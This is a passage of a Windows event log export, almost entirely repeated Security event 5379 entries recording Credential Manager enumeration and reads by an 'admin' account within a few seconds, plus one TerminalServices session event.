credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.736\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.736\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.736\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.736\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.736\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.736\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.437\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.439\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.439\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.440\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.442\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x2208 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:53:02.444\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.894\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.894\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.895\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.896\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.896\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.897\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.898\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.898\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.899\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.899\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.900\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.900\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.901\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.902\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.902\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.903\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.913\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.913\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.913\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.914\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.915\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.915\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.915\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.915\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.915\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.915\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.916\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.916\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.916\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.921\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.922\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.922\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.922\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.922\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.922\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.923\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.923\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.923\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.923\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.923\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.923\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.923\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.924\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.925\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.939\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 